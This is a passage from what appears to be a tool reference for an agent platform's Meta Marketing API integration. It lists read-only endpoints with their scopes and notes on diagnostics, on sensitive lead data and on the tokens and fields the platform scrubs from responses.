indistinguishable from a report that legitimately matched nothing. GET /api/v1/tools/meta-marketing/insights-report-results. Scopes: ads_read. meta_marketing_get_insights_report_status (read) — Poll an asynchronous insights report. Returns async_status — one of 'Job Not Started', 'Job Started', 'Job Running', 'Job Completed', 'Job Failed', 'Job Skipped' — plus async_percent_completion. THE RESULTS ARE NOT VALID UNTIL async_status IS 'Job Completed': reading them earlier returns an empty or partial page that looks exactly like a finished report with no data. 'Job Skipped' means the run expired and must be resubmitted. Read-only, and it is what stops a half-finished report being reported as 'no results'. GET /api/v1/tools/meta-marketing/insights-report-status. Scopes: ads_read. meta_marketing_get_lead (read) — One lead submission in full. HIGH SENSITIVITY — raw, unhashed personal data about one person. Use it to follow up on a webhook that delivered only a leadgen_id. GET /api/v1/tools/meta-marketing/lead. Scopes: leads_retrieval, pages_show_list, pages_read_engagement. meta_marketing_get_lead_form (read) — Get one lead form with its full question list, context card, thank-you page and leads_count. The question list is the schema of everything list_form_leads will return. GET /api/v1/tools/meta-marketing/lead-form. Scopes: leads_retrieval, pages_show_list, pages_read_engagement. meta_marketing_get_offline_conversion_dataset (read) — Get one offline conversion dataset with its match rate, event count and configuration. GET /api/v1/tools/meta-marketing/offline-conversion-dataset. Scopes: business_management. meta_marketing_get_offline_dataset_stats (read) — Event volume and match rate for an offline conversion dataset over time. GET /api/v1/tools/meta-marketing/offline-dataset-stats. Scopes: business_management. meta_marketing_get_pixel (read) — Get one pixel with its name, last_fired_time, data_use_setting, enable_automatic_matching and first_party_cookie_status. last_fired_time is the first thing to check when conversions stop being reported. GET /api/v1/tools/meta-marketing/pixel. Scopes: ads_read. meta_marketing_get_pixel_stats (read) — Event volume for one pixel over time, broken down by event name and by whether it arrived from the browser or the Conversions API. THE diagnostic for tracking: it distinguishes 'nobody is buying' from 'the pixel stopped firing'. Read-only. It is what makes a Conversions API integration debuggable. GET /api/v1/tools/meta-marketing/pixel-stats. Scopes: ads_read. meta_marketing_get_product_catalog (read) — Get one catalog with its name, vertical, product_count and da_display_settings. The catalog id goes in a dynamic ad's product_set_id chain and in a catalog-based audience. GET /api/v1/tools/meta-marketing/product-catalog. Scopes: catalog_management. meta_marketing_get_product_feed (read) — Get one product feed with its schedule, file format, latest upload and default currency. Agentic Fabriq scrubs the feed's stored credentials out of the response. GET /api/v1/tools/meta-marketing/product-feed. Scopes: catalog_management. meta_marketing_get_product_item (read) — Get one catalog item in full, including its review status and rejection reasons. GET /api/v1/tools/meta-marketing/product-item. Scopes: catalog_management. meta_marketing_get_product_set (read) — Get one product set with its filter and how many items currently match it. GET /api/v1/tools/meta-marketing/product-set. Scopes: catalog_management. meta_marketing_get_rate_limit_usage (read) — How much of Meta's rate limit this app and this ad account have consumed, read out of the X-App-Usage, X-Business-Use-Case-Usage and X-Ad-Account-Usage headers Meta returns on every call. Reports call_count, total_time and total_cputime as percentages of the hourly allowance, the per-business figures broken down by use case (ads_insights, ads_management, custom_audience), estimated_time_to_regain_access in minutes, the ad account's acc_id_util_pct and reset_time_duration, and the ads_api_access_tier this app is on. This is the answer to 'why is everything suddenly failing' — Meta throttles at 100% and the error it returns (code 4, 17, 613 or 80004) does not say how long the block lasts. Read-only, and it makes every other Meta action supportable: without it a throttled connection is indistinguishable from a broken one. GET /api/v1/tools/meta-marketing/rate-limit-usage. Scopes: ads_read. meta_marketing_get_reach_estimate (read) — Meta's estimate of how many people a targeting spec reaches, before any object is created. Free, and it is what turns 'is this audience big enough' from a guess into a number. POST /api/v1/tools/meta-marketing/reach-estimate. Scopes: ads_read. meta_marketing_get_reach_frequency_prediction (read) — Get one reach-and-frequency prediction in full, including its curve and its reservation status. GET /api/v1/tools/meta-marketing/reach-frequency-prediction. Scopes: ads_read. meta_marketing_get_saved_audience (read) — Get one saved audience with its full targeting spec and approximate size. GET /api/v1/tools/meta-marketing/saved-audience. Scopes: ads_read. meta_marketing_get_targeting_suggestions (read) — Meta's suggestions for targeting options related to ones you already have — the 'people who target this also target that' expansion. The cure for an audience that is too narrow to deliver. POST /api/v1/tools/meta-marketing/targeting-suggestions. Scopes: ads_read. meta_marketing_list_ad_account_activities (read) — The ad account's audit trail: who changed what and when, with the old and new values. This is the answer to 'why did my budget change overnight' and 'who paused this campaign', and it covers changes made in Ads Manager as well as through the API. Read-only diagnostic. It is the only action that can attribute a change to a person. POST /api/v1/tools/meta-marketing/ad-account-activities. Scopes: ads_read. meta_marketing_list_ad_account_agencies (read) — The businesses that have agency access to this ad account. A security read: an agency here can create and spend on this account. GET /api/v1/tools/meta-marketing/ad-account-agencies. Scopes: business_management. meta_marketing_list_ad_account_assigned_users (read) — The Business Manager users and system users assigned to this ad account, with the tasks each may perform (MANAGE, ADVERTISE, ANALYZE, DRAFT). Agentic Fabriq exposes no action that CHANGES this list — see docs/coverage/meta_marketing.md, E9. GET /api/v1/tools/meta-marketing/ad-account-assigned-users. Scopes: business_management. meta_marketing_list_ad_account_conversion_goals (read) — The conversion goals available to this account, with the conversion events behind each. The vocabulary an ad set's promoted_object and an insights query's action columns use. GET /api/v1/tools/meta-marketing/conversion-goals. Scopes: ads_read. meta_marketing_list_ad_account_instagram_accounts (read) — The Instagram accounts linked to this ad account. The older sibling of list_connected_instagram_accounts; some accounts populate one and not the other, so try both when an Instagram placement will not save. GET /api/v1/tools/meta-marketing/ad-account-instagram-accounts. Scopes: ads_read. meta_marketing_list_ad_account_recommendations (read) — Meta's own recommendations for this account — budget changes, audience expansions, creative improvements, and the reasons delivery is limited. Read-only: Agentic Fabriq exposes no action that APPLIES one. GET /api/v1/tools/meta-marketing/ad-account-recommendations. Scopes: ads_read. meta_marketing_list_ad_account_subscribed_apps (read) — Which Meta apps are installed on this ad account. Diagnostic: an app that is not subscribed cannot receive this account's webhooks and, for some surfaces, cannot call against it at all. GET /api/v1/tools/meta-marketing/ad-account-subscribed-apps. Scopes: ads_management. meta_marketing_list_ad_account_users (read) — The people with a role on this ad account, and each role. A security read: it answers 'who can spend from this account'. GET /api/v1/tools/meta-marketing/ad-account-users. Scopes: business_management. meta_marketing_list_ad_accounts (read) — List every Meta ad account this connection can reach, with its act_ account id, name, currency, timezone, spend cap, amount spent and account status. THIS IS THE ENTRY POINT: an ad account id is not guessable and no other tool produces one, so call this first and pass the id it returns to everything else. Read-only. Granting it is what makes every other Meta action usable, because every other action takes an ad account id. GET /api/v1/tools/meta-marketing/ad-accounts. Scopes: ads_read. meta_marketing_list_ad_ad_rules_governed (read) — The Meta automated rules that act on this ad. GET /api/v1/tools/meta-marketing/ad-ad-rules-governed. Scopes: ads_read. meta_marketing_list_ad_creatives (read) — List the creative objects in an ad account: id, name, object_story_spec, image_hash, video_id, title, body, call_to_action_type, link_url and status. Creative ids are what create_ad needs. GET /api/v1/tools/meta-marketing/ad-creatives. Scopes: ads_read. meta_marketing_list_ad_creatives_by_label (read) — List the creatives carrying one or more ad labels. POST /api/v1/tools/meta-marketing/ad-creatives-by-label. Scopes: ads_read. meta_marketing_list_ad_creatives_of_ad (read) — The creative objects attached to one ad. GET /api/v1/tools/meta-marketing/ad-creatives-of-ad. Scopes: ads_read. meta_marketing_list_ad_images (read) — The images uploaded to this ad account, with each image's HASH, name, dimensions, status and creation time. The image_hash is what an object_story_spec references. Agentic Fabriq removes the url, url_128, url_256 and permalink_url fields from the response: Meta's own reference calls them 'a temporary URL which the image can be retrieved at', they need no credential, and they are not needed to build a creative. Read-only. The fetchable CDN URLs Meta returns on this edge are scrubbed; the image hash, which is what a creative needs, is not. POST /api/v1/tools/meta-marketing/ad-images. Scopes: ads_read. meta_marketing_list_ad_label_ad_creatives (read) — The creatives carrying one ad label. GET /api/v1/tools/meta-marketing/ad-label-ad-creatives. Scopes: ads_read. meta_marketing_list_ad_label_ad_sets (read) — The ad sets carrying one ad label. GET /api/v1/tools/meta-marketing/ad-label-ad-sets. Scopes: ads_read. meta_marketing_list_ad_label_ads (read) — The ads carrying one ad label. GET /api/v1/tools/meta-marketing/ad-label-ads. Scopes: ads_read. meta_marketing_list_ad_label_campaigns (read) — The campaigns carrying one ad label. GET /api/v1/tools/meta-marketing/ad-label-campaigns. Scopes: ads_read. meta_marketing_list_ad_labels (read) — The ad labels defined on this account. Labels are how an agent marks the objects it created so it can find them again without paginating everything. GET /api/v1/tools/meta-marketing/ad-labels. Scopes: ads_read. meta_marketing_list_ad_leads (read) — The lead-ad submissions an ad has collected. HIGH SENSITIVITY: the response is raw, UNHASHED personal data — names, email addresses, phone numbers and whatever custom questions the form asked — for real people who filled in a form. Meta does not hash it and Agentic Fabriq does not either, because the whole purpose of the endpoint is to hand those records to a CRM. Grant it only to an agent whose job is that. Returns unhashed personal data about real people. It is the one Meta read whose result is regulated personal information. POST /api/v1/tools/meta-marketing/ad-leads. Scopes: leads_retrieval, pages_show_list, pages_read_engagement. meta_marketing_list_ad_place_page_sets (read) — The store-location page sets defined on this account, used by local-awareness and store-traffic ads to name which physical locations an ad promotes. GET /api/v1/tools/meta-marketing/ad-place-page-sets. Scopes: ads_read. meta_marketing_list_ad_rule_history (read) — Every time this rule fired, what it evaluated and which objects it changed. The audit trail for changes no API call made. GET /api/v1/tools/meta-marketing/ad-rule-history. Scopes: ads_read. meta_marketing_list_ad_rules (read) — The Meta automated rules defined on this account: what each evaluates, what it does when it fires, its schedule and its status. Agentic Fabriq creates NO rules and executes none (E6) — an agent may see the account's rules but may never become one. This read is what makes an automated budget change explicable. Read-only, and it is the only way to attribute an unexplained budget or status change to a standing rule. GET /api/v1/tools/meta-marketing/ad-rules. Scopes: ads_read. meta_marketing_list_ad_rules_history (read) — Every automated-rule execution across the whole account, newest first. The account-wide answer to 'what changed my budgets last night and why'. GET /api/v1/tools/meta-marketing/ad-rules-history. Scopes: ads_read. meta_marketing_list_ad_set_activities (read) — The change history for one ad set: budget changes, targeting changes, status changes, and who made each. Narrower and cheaper than the account-wide change log. POST /api/v1/tools/meta-marketing/ad-set-activities. Scopes: ads_read. meta_marketing_list_ad_set_ad_creatives (read) — Every creative used by the ads in one ad set. GET /api/v1/tools/meta-marketing/ad-set-ad-creatives. Scopes: ads_read. meta_marketing_list_ad_set_ad_rules_governed (read) — The Meta automated rules that act on this ad set. GET /api/v1/tools/meta-marketing/ad-set-ad-rules-governed. Scopes: ads_read. meta_marketing_list_ad_set_ads (read) — The ads inside one ad set, with their creatives and delivery state. POST /api/v1/tools/meta-marketing/ad-set-ads. Scopes: ads_read. meta_marketing_list_ad_set_async_requests (read) — The status of bulk ad-creation requests submitted against this ad set, with per-request errors. Diagnostic for a bulk upload that produced fewer ads than expected. POST /api/v1/tools/meta-marketing/ad-set-async-requests. Scopes: ads_read. meta_marketing_list_ad_set_budget_schedules (read) — The scheduled budget increases attached to this ad set. GET /api/v1/tools/meta-marketing/ad-set-budget-schedules. Scopes: ads_read. meta_marketing_list_ad_sets (read) — List the ad sets in an ad account with id, name, campaign_id, status, effective_status, daily_budget, lifetime_budget, bid_amount, bid_strategy, billing_event, optimization_goal, start_time, end_time and targeting. The ad set is where a Meta budget usually lives, so this is the answer to 'what is spending'. POST /api/v1/tools/meta-marketing/ad-sets. Scopes: ads_read. meta_marketing_list_ad_sets_by_label (read) — List the ad sets carrying one or more ad labels. POST /api/v1/tools/meta-marketing/ad-sets-by-label. Scopes: ads_read. meta_marketing_list_ad_studies (read) — The A/B tests, brand-lift studies and conversion-lift studies on this account, with their type, status and window. GET /api/v1/tools/meta-marketing/ad-studies. Scopes: ads_read. meta_marketing_list_ad_study_cells (read) — The test and control cells of a study, and which campaigns and ad sets are in each. GET /api/v1/tools/meta-marketing/ad-study-cells. Scopes: ads_read. meta_marketing_list_ad_study_objectives (read) — What a study is measuring, and against which pixels, apps or custom conversions. GET /api/v1/tools/meta-marketing/ad-study-objectives. Scopes: ads_read. meta_marketing_list_ad_videos (read) — The videos uploaded to this ad account, with each video's id, title, description, length, status and creation time. The video id is what an object_story_spec references. Agentic Fabriq removes the source and permalink_url fields — they fetch the video bytes with no credential and are not needed to build a creative. GET /api/v1/tools/meta-marketing/ad-videos. Scopes: ads_read. meta_marketing_list_ads (read) — List the ads in an ad account with id, name, adset_id, campaign_id, creative, status, effective_status and issues_info. effective_status DISAPPROVED or WITH_ISSUES with issues_info is the answer to 'why is this ad not running'. POST /api/v1/tools/meta-marketing/ads. Scopes: ads_read. meta_marketing_list_ads_by_label (read) — List the ads carrying one or more ad labels. POST /api/v1/tools/meta-marketing/ads-by-label. Scopes: ads_read. meta_marketing_list_advertisable_applications (read) — The mobile and web apps this account may promote, with their application ids and store URLs. The source of the application_id an app-install ad set's promoted_object needs. GET /api/v1/tools/meta-marketing/advertisable-applications. Scopes: ads_read. meta_marketing_list_affected_ad_sets (read) — Ad sets Meta has flagged as affected by an upcoming or recent platform change — a deprecated placement, a removed targeting option, an attribution change. Pure diagnostic, and the only advance warning an advertiser gets. GET /api/v1/tools/meta-marketing/affected-ad-sets. Scopes: ads_read. meta_marketing_list_async_ad_request_set_requests (read) — The individual requests inside a bulk ad-creation set, each with its own error. This is where 'the upload said 200 but only 40 of the 60 ads exist' gets answered. POST /api/v1/tools/meta-marketing/async-ad-request-set-requests. Scopes: ads_read. meta_marketing_list_async_ad_request_sets (read) — The bulk ad-creation request sets on this account, with their aggregate status. GET /api/v1/tools/meta-marketing/async-ad-request-sets. Scopes: ads_read. meta_marketing_list_async_requests (read) — The asynchronous requests submitted against this account and their status. Diagnostic for a bulk operation that appears to have done nothing. GET /api/v1/tools/meta-marketing/async-requests. Scopes: ads_read. meta_marketing_list_block_list_publishers (read) — The individual publishers inside one block list. GET /api/v1/tools/meta-marketing/block-list-publishers. Scopes: ads_read. meta_marketing_list_broad_targeting_categories (read) — Meta's broad category taxonomy for this account, with ids usable in a targeting spec. GET /api/v1/tools/meta-marketing/broad-targeting-categories. Scopes: ads_read. meta_marketing_list_business_ad_account_infos (read) — A compact summary of every ad account the business can reach, owned and client. GET /api/v1/tools/meta-marketing/business-ad-account-infos. Scopes: business_management. meta_marketing_list_business_agencies (read) — The businesses that have agency access to this one, and therefore to its assets. GET /api/v1/tools/meta-marketing/business-agencies. Scopes: business_management. meta_marketing_list_business_asset_groups (read) — The asset groups (business units) in this Business Manager — the bundles of ad accounts, Pages and pixels that permissions are granted over as a unit. GET /api/v1/tools/meta-marketing/business-asset-groups. Scopes: business_management. meta_marketing_list_business_client_ad_accounts (read) — The ad accounts another business has shared with this one. For an agency, this is the account list that matters and it is NOT the same as owned_ad_accounts. GET /api/v1/tools/meta-marketing/business-client-ad-accounts. Scopes: business_management. meta_marketing_list_business_client_pages (read) — The Pages another business has shared with this one. GET /api/v1/tools/meta-marketing/business-client-pages. Scopes: business_management. meta_marketing_list_business_client_pixels (read) — The pixels another business has shared with this one. GET /api/v1/tools/meta-marketing/business-client-pixels. Scopes: business_management. meta_marketing_list_business_client_product_catalogs (read) — The product catalogs another business has shared with this one. GET /api/v1/tools/meta-marketing/business-client-catalogs. Scopes: catalog_management. meta_marketing_list_business_clients (read) — The businesses this one acts as an agency for. GET /api/v1/tools/meta-marketing/business-clients. Scopes: business_management. meta_marketing_list_business_credit_cards (read) — The payment methods attached to this business, as Meta describes them: display string (for example 'Visa *1234'), expiry month and year, and whether the card is verified. NO CARD NUMBER IS RETURNED — Meta does not publish one and Agentic Fabriq scrubs the billing address out of the response. Diagnostic for a delivery stop caused by an expired card. Read-only. It returns a masked display string and an expiry, never a card number, and Agentic Fabriq removes the billing address before the response reaches the agent. GET /api/v1/tools/meta-marketing/business-credit-cards. Scopes: business_management. meta_marketing_list_business_datasets (read) — The offline conversion datasets owned by a business — the in-store and CRM conversion sources used to attribute offline sales to online ads. GET /api/v1/tools/meta-marketing/business-datasets. Scopes: business_management. meta_marketing_list_business_extended_credits (read) — The credit lines Meta has extended to this business, with the limit, the balance and how much is allocated. The answer to 'can this account still spend' when nothing is delivering. GET /api/v1/tools/meta-marketing/business-extended-credits. Scopes: business_management. meta_marketing_list_business_invoices (read) — The invoices Meta has issued to this business, with amounts, currency, billing period, due date and payment status. The billing read a finance team actually asks for. GET /api/v1/tools/meta-marketing/business-invoices. Scopes: business_management. meta_marketing_list_business_owned_ad_accounts (read) — The ad accounts this Business Manager owns, with their status and spend. GET /api/v1/tools/meta-marketing/business-owned-ad-accounts. Scopes: business_management. meta_marketing_list_business_owned_businesses (read) — The Business Managers this one owns, for multi-brand and holding-company structures. GET /api/v1/tools/meta-marketing/business-owned-businesses. Scopes: business_management. meta_marketing_list_business_owned_pages (read) — The Facebook Pages this Business Manager owns. Their ids are what a creative's object_story_spec needs. GET /api/v1/tools/meta-marketing/business-owned-pages. Scopes: business_management. meta_marketing_list_business_owned_pixels (read) — The Meta Pixels this Business Manager owns. GET /api/v1/tools/meta-marketing/business-owned-pixels. Scopes: business_management. meta_marketing_list_business_owned_product_catalogs (read) — The product catalogs this Business Manager owns. Catalog ids are what dynamic ads need. GET /api/v1/tools/meta-marketing/business-owned-catalogs. Scopes: catalog_management. meta_marketing_list_business_pending_users (read) — People invited to this Business Manager who have not accepted. A security read. GET /api/v1/tools/meta-marketing/business-pending-users. Scopes: business_management. meta_marketing_list_business_system_users (read) — The system users in this Business Manager — the non-human identities that hold long-lived tokens — with their ids, names and roles. THIS ACTION RETURNS NO TOKENS: Agentic Fabriq exposes no operation that mints a system user token (E1), and scrubs any token-shaped field out of this response. Read-only, and it is the audit of which automations can spend from this business. Read-only, and no token is ever returned. The endpoint that MINTS a system user token is permanently excluded (E1). GET /api/v1/tools/meta-marketing/business-system-users. Scopes: business_management. meta_marketing_list_business_users (read) — The people in this Business Manager and their roles. A security read: it answers 'who can create ad accounts and spend from them'. Agentic Fabriq exposes no action that adds, removes or re-roles anyone (E9). GET /api/v1/tools/meta-marketing/business-users. Scopes: business_management. meta_marketing_list_businesses (read) — The Meta Business Managers this connection belongs to, with each business's id, name, verification_status and two_factor_type. A business id is the entry point to every asset-level read below. GET /api/v1/tools/meta-marketing/businesses. Scopes: business_management. meta_marketing_list_campaign_ad_rules_governed (read) — The Meta automated rules that act on this campaign. Diagnostic: an automated rule can pause a campaign or change its budget with no API call behind it, and this is the only way to see which rules apply. GET /api/v1/tools/meta-marketing/campaign-ad-rules-governed. Scopes: ads_read. meta_marketing_list_campaign_ad_sets (read) — The ad sets inside one campaign, with their budgets, schedules and delivery state. POST /api/v1/tools/meta-marketing/campaign-ad-sets. Scopes: ads_read. meta_marketing_list_campaign_ads (read) — Every ad under one campaign, across all of its ad sets. POST /api/v1/tools/meta-marketing/campaign-ads. Scopes: ads_read. meta_marketing_list_campaign_budget_schedules (read) — The scheduled budget increases attached to this campaign — the high-demand-period objects that raise a budget automatically at a future time. The read half of create_campaign_budget_schedule, and the answer to 'what is going to raise my spend next week'. GET /api/v1/tools/meta-marketing/campaign-budget-schedules. Scopes: ads_read. meta_marketing_list_campaigns (read) — List the campaigns in an ad account with each campaign's id, name, objective, status, effective_status, buying_type, bid_strategy, daily_budget, lifetime_budget, spend_cap and special_ad_categories. A campaign id is opaque and nothing else produces one. POST /api/v1/tools/meta-marketing/campaigns. Scopes: ads_read. meta_marketing_list_campaigns_by_label (read) — List the campaigns carrying one or more ad labels. The cheap way to address a set of campaigns an agent created earlier without paginating the whole account. POST /api/v1/tools/meta-marketing/campaigns-by-label. Scopes: ads_read. meta_marketing_list_catalog_data_sources (read) — Where a catalog's items come from: feeds, the API, a partner platform or a pixel. GET /api/v1/tools/meta-marketing/catalog-data-sources. Scopes: catalog_management. meta_marketing_list_catalog_external_event_sources (read) — The pixels and app event sources connected to this catalog. A catalog with no event source cannot power dynamic retargeting, and nothing else says so. GET /api/v1/tools/meta-marketing/catalog-external-event-sources. Scopes: catalog_management. meta_marketing_list_catalog_product_feeds (read) — The scheduled feeds that populate a catalog, with each feed's name, schedule, latest upload and item counts. GET /api/v1/tools/meta-marketing/catalog-product-feeds. Scopes: catalog_management. meta_marketing_list_catalog_product_sets (read) — The product sets in a catalog — the filtered subsets a dynamic ad actually promotes — with each set's filter and product_count. GET /api/v1/tools/meta-marketing/catalog-product-sets. Scopes: catalog_management. meta_marketing_list_catalog_products (read) — The items in a catalog, with retailer_id, name, price, availability, condition, review_status and image_url. review_status REJECTED with a reason is the per-item half of get_catalog_diagnostics. POST /api/v1/tools/meta-marketing/catalog-products. Scopes: catalog_management. meta_marketing_list_connected_instagram_accounts (read) — The Instagram accounts this ad account may use as the identity on an ad, with their instagram_actor_id. This is the ADS side of Instagram: it produces the id an ad creative needs in order to run on Instagram placements. Instagram ORGANIC posting, comments and organic insights are a different provider (instagram_business) and are not reachable from here. Read-only. Some ad accounts additionally require the instagram_basic permission on this edge; Agentic Fabriq does not request instagram_basic, so on those accounts this action returns a permission error naming it. GET /api/v1/tools/meta-marketing/connected-instagram-accounts. Scopes: ads_read. meta_marketing_list_custom_audience_ad_accounts (read) — Which OTHER ad accounts can target this audience. A security read: an audience built from a customer list is personal data, and this is the only way to see who else can use it. Agentic Fabriq exposes no action that ADDS an account here (E5); it does expose the removal. GET /api/v1/tools/meta-marketing/custom-audience-ad-accounts. Scopes: ads_read. meta_marketing_list_custom_audience_ads (read) — Which ads currently target or exclude this audience. Call it before delete_custom_audience — deleting an audience an ad set targets changes what that ad set delivers to. GET /api/v1/tools/meta-marketing/custom-audience-ads. Scopes: ads_read. meta_marketing_list_custom_audience_sessions (read) — The upload sessions against one audience, with how many records each batch received, how many were valid and how many matched. The read half of add_users_to_custom_audience: it is the only way to find out that an upload matched nothing. GET /api/v1/tools/meta-marketing/custom-audience-sessions. Scopes: ads_read. meta_marketing_list_custom_audience_terms_of_service (read) — Whether this ad account has accepted Meta's Custom Audience Terms of Service, and which. THE diagnostic for audience work: without acceptance every audience create and every upload fails with error code 200, subcode 1870090, whose message does not say that a contract is missing. Agentic Fabriq exposes no action that ACCEPTS the terms — see docs/coverage/meta_marketing.md. Read-only. It is the fastest explanation of an audience failure that looks like a permission problem. GET /api/v1/tools/meta-marketing/custom-audience-tos. Scopes: ads_read. meta_marketing_list_custom_audiences (read) — The custom, lookalike and saved-rule audiences on this ad account, with id, name, subtype, approximate_count_lower_bound / upper_bound, delivery_status, operation_status and time_content_updated. Audience ids are what a targeting spec's custom_audiences and exclusions reference. POST /api/v1/tools/meta-marketing/custom-audiences. Scopes: ads_read. meta_marketing_list_custom_conversions (read) — The custom conversions on this account — named conversion definitions built from pixel events and URL rules, with their rule, default_conversion_value and aggregation. These are what an ad set's promoted_object references for a conversion objective. GET /api/v1/tools/meta-marketing/custom-conversions. Scopes: ads_read. meta_marketing_list_deprecated_targeting_ad_sets (read) — Ad sets whose targeting spec references an option Meta has retired. These keep delivering against a narrower audience than the spec implies and fail on the next edit; nothing else surfaces them. GET /api/v1/tools/meta-marketing/deprecated-targeting-ad-sets. Scopes: ads_read. meta_marketing_list_dsa_recommendations (read) — Meta's Digital Services Act compliance recommendations for this account — the payer and beneficiary declarations EU delivery requires. Diagnostic for ads that will not deliver in the EU. GET /api/v1/tools/meta-marketing/dsa-recommendations. Scopes: ads_read. meta_marketing_list_extended_credit_invoice_groups (read) — How a credit line's spend is grouped for invoicing, and which ad accounts sit in each group. GET /api/v1/tools/meta-marketing/extended-credit-invoice-groups. Scopes: business_management. meta_marketing_list_form_leads (read) — The submissions to one lead form. HIGH SENSITIVITY: the response is raw, UNHASHED personal data about real people — names, email addresses, phone numbers and whatever else the form asked, plus their custom disclaimer responses. Meta does not hash it and Agentic Fabriq does not either, because delivering those records to a CRM is the entire purpose of the endpoint. Grant it only to an agent whose job is that, and note that the records are subject to whatever consent the form's own privacy policy obtained. Returns unhashed personal data about real people. Treat this grant as a data-processing decision, not a reporting one. POST /api/v1/tools/meta-marketing/form-leads. Scopes: leads_retrieval, pages_show_list, pages_read_engagement. meta_marketing_list_form_test_leads (read) — The TEST submissions to a lead form, created through Meta's Lead Ads Testing Tool. Synthetic data about nobody, which makes this the action to build and prove a CRM sync against before anyone grants list_form_leads. Returns synthetic test data only. Grant it to prove a lead workflow without exposing real people. GET /api/v1/tools/meta-marketing/form-test-leads. Scopes: leads_retrieval, pages_show_list, pages_read_engagement. meta_marketing_list_granted_permissions (read) — Every Meta permission on this credential and whether it is granted or declined. THE diagnostic for a Meta integration: Meta does not fail an authorization when a permission is declined, it succeeds and then refuses individual calls, so 'granted everything' and 'declined ads_management' look the same until a tool fails. Agentic Fabriq records this list on the connection at connect time; this action shows it as Meta sees it now. GET /api/v1/tools/meta-marketing/granted-permissions. Scopes: ads_read. meta_marketing_list_impacting_ad_studies (read) — Studies run by others that hold out part of this account's audience. Diagnostic: a lift study suppresses delivery to its control group, and nothing else explains the gap. GET /api/v1/tools/meta-marketing/impacting-ad-studies. Scopes: ads_read. meta_marketing_list_invoice_group_ad_accounts (read) — Which ad accounts bill into one invoice group. GET /api/v1/tools/meta-marketing/invoice-group-ad-accounts. Scopes: business_management. meta_marketing_list_ios_fourteen_campaign_limits (read) — How many iOS app-install campaigns this account may run per app under Apple's SKAdNetwork rules, and how many are in use. Diagnostic for 'Meta refused to activate my iOS campaign'. GET /api/v1/tools/meta-marketing/ios-campaign-limits. Scopes: ads_read. meta_marketing_list_lead_forms (read) — The lead-ad forms on one Facebook Page, with each form's id, name, status, questions and privacy policy URL. The form id is what list_form_leads needs. Page ids come from list_pages. GET /api/v1/tools/meta-marketing/lead-forms. Scopes: leads_retrieval, pages_show_list, pages_read_engagement. meta_marketing_list_offline_dataset_ad_accounts (read) — Which ad accounts may attribute conversions against this dataset. GET /api/v1/tools/meta-marketing/offline-dataset-ad-accounts. Scopes: business_management. meta_marketing_list_offline_dataset_audiences (read) — The custom audiences derived from an offline conversion dataset. GET /api/v1/tools/meta-marketing/offline-dataset-audiences. Scopes: business_management. meta_marketing_list_offline_dataset_custom_conversions (read) — The custom conversions defined against an offline conversion dataset. GET /api/v1/tools/meta-marketing/offline-dataset-custom-conversions. Scopes: business_management. meta_marketing_list_offline_dataset_uploads (read) — The upload batches sent to an offline conversion dataset, each with how many events it carried and how many matched. The diagnostic for 'the offline sales are not showing up'. GET /api/v1/tools/meta-marketing/offline-dataset-uploads. Scopes: business_management. meta_marketing_list_pages (read) — The Facebook Pages the connected identity administers, with each page's id, name, category and the tasks the identity may perform on it (ADVERTISE, ANALYZE, CREATE_CONTENT, MANAGE, MODERATE). Needed to name a page_id on an ad creative and to reach lead forms. This action returns Page metadata only; Agentic Fabriq removes the Page access token from the response — see docs/coverage/meta_marketing.md, E1. Read-only. Meta returns a Page ACCESS TOKEN on this edge; Agentic Fabriq scrubs it before the response reaches the agent. GET /api/v1/tools/meta-marketing/pages. Scopes: pages_show_list. meta_marketing_list_pixel_ad_accounts (read) — Which ad accounts can use this pixel for optimisation and audiences. GET /api/v1/tools/meta-marketing/pixel-ad-accounts. Scopes: ads_read. meta_marketing_list_pixel_assigned_users (read) — The Business Manager users and system users assigned to this pixel, and the tasks each may perform. GET /api/v1/tools/meta-marketing/pixel-assigned-users. Scopes: business_management. meta_marketing_list_pixel_diagnostics (read) — Meta's own health checks on a pixel: missing parameters, duplicate events, low event-match quality, deduplication failures between the browser pixel and the Conversions API, and what to do about each. POST /api/v1/tools/meta-marketing/pixel-diagnostics. Scopes: ads_read. meta_marketing_list_pixel_offline_event_uploads (read) — Offline conversion uploads associated with this pixel, with their match counts. GET /api/v1/tools/meta-marketing/pixel-offline-event-uploads. Scopes: ads_read. meta_marketing_list_pixel_openbridge_configurations (read) — The server-side Open Bridge / Conversions API Gateway configurations attached to this pixel — the third-party hosts forwarding events to Meta on this account's behalf. A security read: each one is a system sending this site's conversion data to Meta. GET /api/v1/tools/meta-marketing/pixel-openbridge-configurations. Scopes: business_management. meta_marketing_list_pixel_shared_accounts (read) — Which other ad accounts this pixel has been shared with. A security read: a shared pixel lets another account build audiences from this site's visitors. Agentic Fabriq exposes no action that ADDS one (E5); it does expose the removal. GET /api/v1/tools/meta-marketing/pixel-shared-accounts. Scopes: business_management. meta_marketing_list_pixel_shared_agencies (read) — Which businesses have agency access to this pixel. GET /api/v1/tools/meta-marketing/pixel-shared-agencies. Scopes: business_management. meta_marketing_list_pixels (read) — The Meta Pixels (web datasets) this ad account can use, with id, name, code, last_fired_time and is_created_by_business. The pixel id is what a conversion ad set's promoted_object and the Conversions API both need. GET /api/v1/tools/meta-marketing/pixels. Scopes: ads_read. meta_marketing_list_product_feed_upload_errors (read) — The per-row errors of one feed upload — which items failed, on which column, and why. The most specific diagnostic in the whole catalog family. GET /api/v1/tools/meta-marketing/product-feed-upload-errors. Scopes: catalog_management. meta_marketing_list_product_feed_uploads (read) — The upload runs of one feed, with start and end times, the counts of items created, updated and deleted, and the error count. This is where 'the catalog is stale' gets diagnosed. GET /api/v1/tools/meta-marketing/product-feed-uploads. Scopes: catalog_management. meta_marketing_list_product_item_product_sets (read) — Which product sets a catalog item belongs to, and therefore which dynamic ads can show it. GET /api/v1/tools/meta-marketing/product-item-product-sets. Scopes: catalog_management. meta_marketing_list_product_set_products (read) — The catalog items currently matching a product set's filter. The check before pointing a campaign at it: a set that matches nothing produces ads that show nothing. GET /api/v1/tools/meta-marketing/product-set-products. Scopes: catalog_management. meta_marketing_list_promotable_pages (read) — The Facebook Pages this ad account may run ads for, with their page ids. A creative must name a page_id, and this is where that id comes from for an ad-account-scoped connection. GET /api/v1/tools/meta-marketing/promotable-pages. Scopes: ads_read. meta_marketing_list_publisher_block_lists (read) — The publisher block lists on this account — the sites and apps ads are kept off. Brand safety configuration, and the read half of create_publisher_block_list. GET /api/v1/tools/meta-marketing/publisher-block-lists. Scopes: ads_read. meta_marketing_list_reach_frequency_predictions (read) — The reach-and-frequency predictions on this account, with their reserved status, budget, reach and impression estimates. Reach-and-frequency is the reserved-buying product; a RESERVED prediction is a commitment to 